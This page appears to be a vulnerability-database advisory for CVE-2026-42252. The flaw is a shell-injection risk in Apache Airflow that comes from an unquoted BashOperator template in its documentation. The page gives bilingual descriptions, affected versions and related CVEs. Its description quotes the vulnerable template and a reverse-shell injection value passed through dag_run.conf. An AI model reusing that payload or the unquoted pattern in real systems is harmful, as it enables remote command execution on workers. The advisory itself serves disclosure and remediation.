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CVE-2026-42252— Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern

Quick assessment

Affected
Apache Software Foundation Apache Airflow
Exploitation
No confirmed in-the-wild exploitation; assess based on exposure
Recommended action
Check the vendor advisory and references for a fixed version. If immediate upgrade is impossible, restrict exposure and increase monitoring.

Apache Airflow是美国阿帕奇（Apache）基金会的一套具有创建、管理和监控工作流程功能的开源平台。该平台具有可扩展和动态监控等特点。 Apache Airflow存在安全漏洞，该漏洞源于官方文档中BashOperator示例未包含引号或清理警告，可能导致Dag作者复制该模式后，经过身份验证的触发用户通过触发API的conf字段注入shell元字符。

AI Predicted 9.1 Difficulty: Easy EPSS 0.59% · P46

Affected Version Matrix 1

VendorProduct Version RangeStatus
Apache Software Foundation Apache Airflow 3.0.0< 3.2.2 affected
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I. Basic Information for CVE-2026-42252

Vulnerability Information
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Vulnerability Title
Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern
Source: CVE Program / CVE List V5
Vulnerability Description
Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.
Source: CVE Program / CVE List V5
CVSS Information
N/A
Source: CVE Program / CVE List V5
Vulnerability Type
CWE-1336
Source: CVE Program / CVE List V5
Vulnerability Title
Apache Airflow 安全漏洞
Source: CNNVD (China National Vulnerability Database)
Vulnerability Description
Apache Airflow是美国阿帕奇（Apache）基金会的一套具有创建、管理和监控工作流程功能的开源平台。该平台具有可扩展和动态监控等特点。 Apache Airflow存在安全漏洞，该漏洞源于官方文档中BashOperator示例未包含引号或清理警告，可能导致Dag作者复制该模式后，经过身份验证的触发用户通过触发API的conf字段注入shell元字符。
Source: CNNVD (China National Vulnerability Database)
CVSS Information
N/A
Source: CNNVD (China National Vulnerability Database)
Vulnerability Type
N/A
Source: CNNVD (China National Vulnerability Database)

Affected Products

Vendor Product Affected Versions CPE Subscribe
Apache Software Foundation Apache Airflow 3.0.0 ~ 3.2.2 -

II. Public POCs for CVE-2026-42252

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III. Intelligence Information for CVE-2026-42252

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Mailing List Discussions for CVE-2026-42252 (1)

Same Patch Batch · Apache Software Foundation · 2026-06-01 · 28 CVEs total

CVE-2026-44825 8.1 HIGH Apache Solr: Enabling BasicAuth using bin/solr CLI configures additional insecure users
CVE-2026-48827 7.1 HIGH Apache MINA SSHD: Path traversal in org.apache.sshd:sshd-git
CVE-2026-42359 Apache Airflow: Authenticated RCE via XCom PATCH endpoint — XComUpdateBody missing FORBIDD
CVE-2026-49328 Apache Fesod (Incubating): Improper validation of user-supplied URLs leading to SSRF
CVE-2026-49361 Apache Fluss Netty Frame Decoder Memory Exhaustion Vulnerability
CVE-2026-40861 Apache Airflow: Arbitrary File Read via Log Symlink following in FileTaskHandler
CVE-2026-40961 Apache Airflow: Open Redirect Bypass Vulnerability
CVE-2026-40963 Apache Airflow: DAG authorization bypass on /ui/structure/structure_data
CVE-2026-41014 Apache Airflow: per-DAG RBAC bypass on /ui/partitioned_dag_runs endpoints
CVE-2026-49267 Apache Airflow: No certificate validation on SMTP STARTTLS connections
CVE-2026-41017 Apache Airflow: JWT cookie missing Secure flag in JWTRefreshMiddleware behind HTTPS-termin
CVE-2026-41084 Apache Airflow: API authorization bypass: bulk TaskInstances allows cross-DAG mutation
CVE-2026-42360 Apache Airflow: Rendered template truncation bypasses nested sensitive-key masking
CVE-2026-42358 Apache Airflow: Variable masker depth-limit bypass returns cleartext nested secrets
CVE-2026-45192 Apache Airflow: Incomplete Redaction of Sensitive Fields in Connection Extra API Response
CVE-2026-45360 Apache Airflow: Arbitrary import in custom deadline-reference deserialization
CVE-2026-45426 Apache Airflow: Log server JWT authorization bypass via Python lstrip() character strippin
CVE-2026-46764 Apache Airflow: Event Log detail endpoint bypasses DAG-scoped event log permission filter
CVE-2026-48726 Apache Airflow: revoke_token() unreachable in FabAuthManager / KeycloakAuthManager logout
CVE-2026-49298 Apache Airflow: JWT Token Exposure in KubernetesExecutor Command-Line Arguments

Showing top 20 of 28 CVEs. View all on vendor page &rarr; →

IV. Related Vulnerabilities

Same product: Apache Airflow
Same vendor: Apache Software Foundation
Same weakness: CWE-1336

V. Comments for CVE-2026-42252

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